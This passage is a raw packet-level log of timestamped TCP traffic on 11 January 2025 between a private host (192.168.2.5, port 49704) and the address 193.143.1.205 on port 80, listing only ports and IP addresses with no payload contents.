Jan 11, 2025 02:41:42.925915003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925920963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.925930023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925946951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925951958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.925982952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.929006100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.987133026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987164974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987181902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987267971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.987323999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987340927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987356901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987366915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.987373114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987453938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987461090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.987494946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987498045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.987512112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987528086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.987552881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.004292011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.004342079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.004343987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.004359961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.004395008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.004445076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.004460096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.004477024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.004498005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.025917053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.025933981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.025949001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.025979996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.026001930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.026002884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.026020050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.026036978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.026077986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.026161909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.026176929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.026199102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.026391983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.026407957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.026422977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.026434898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.026464939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.042727947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.042742014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.042798042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.042996883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043014050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043030024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043056965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.043106079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043122053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043138027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043143034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.043159962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043180943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.043262959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043288946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043303967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043306112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.043343067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.043380976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043534994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043581009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.043591976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043608904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043653011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.043682098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043699980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043739080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.043973923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.043991089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044014931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044029951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044032097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.044045925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044060946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044068098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.044100046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.044378996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044394970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044410944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044436932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.044523001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044538975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044553995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044569016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044574022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.044594049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.044641972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044657946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044672012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044688940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044693947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.044704914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.044725895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.044748068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.045303106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045325041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045341015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045362949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.045455933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045470953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045486927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045495033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.045504093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045525074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.045592070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045608044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045624971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045631886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.045639992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045656919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.045664072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.045696020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.046171904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046200037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046216011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046237946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.046329975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046345949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046360970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046369076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.046381950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046402931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.046583891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046600103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046616077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046622992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.046631098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046647072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.046650887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.046679020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.047175884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047193050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047208071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047246933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.047373056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047388077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047409058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.047413111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047427893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047445059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047452927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.047466040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047472000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047476053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047487974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.047489882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.047518015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.047561884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.048095942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.048114061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.048130035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.048175097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.048192024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.048207045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.048223019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.048238993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.048245907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.048258066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.075865030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076000929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.076035023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076049089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076064110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076081038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076083899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.076102018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076128006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.076195955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076211929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076261997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.076359987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076375008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076389074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076405048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.076436996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.076559067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076574087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076591015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076606035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076611996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.076621056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.076709986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.091001987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091068029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091078043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.091084957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091104031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091128111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.091269970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091273069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091289043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091305017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091305971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.091330051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091344118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091350079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.091367006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091367960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.091402054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.091428041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091434956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091444016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091449976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.091559887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.109879017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.112696886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.112714052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.112747908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.112765074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.112771034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.112778902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.112795115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.112804890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.112812042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.112833023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.112938881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.112956047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.112977028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.129662037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.129681110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.129697084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.129717112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.129730940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.129750967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.129774094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.129789114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.129800081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.129803896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.129822969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.129890919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.129930019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130022049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130048037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130069971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130084991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130088091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130109072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130115986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130124092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130139112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130153894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130161047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130187988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130233049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130258083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130264044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130301952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130315065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130331993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130353928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130371094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130409956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130467892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130539894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130554914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130578041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130675077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130690098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130705118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130711079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130721092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130744934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130790949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130830050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130837917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130852938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130913019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.130965948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130981922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.130995989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131014109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131021023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131050110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131092072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131093979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131108046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131124973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131139040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131162882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131164074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131179094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131196022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131216049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131443977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131458044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131474972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131475925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131510973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131577015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131582022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131587029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131596088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131630898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131685972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131716967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131733894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131742954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131762981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131772995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131779909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131794930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131800890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131809950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131825924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131838083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131841898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131856918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.131867886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.131894112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.132042885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.132059097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.132074118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.132088900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.132105112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.132126093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.132442951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151212931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151268959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151281118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.151284933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151334047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151341915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.151350975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151386976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151433945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151453972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.151499033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151514053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151529074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151534081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.151551008 CET	80	49704	193.143.1.205	192.168.2.5
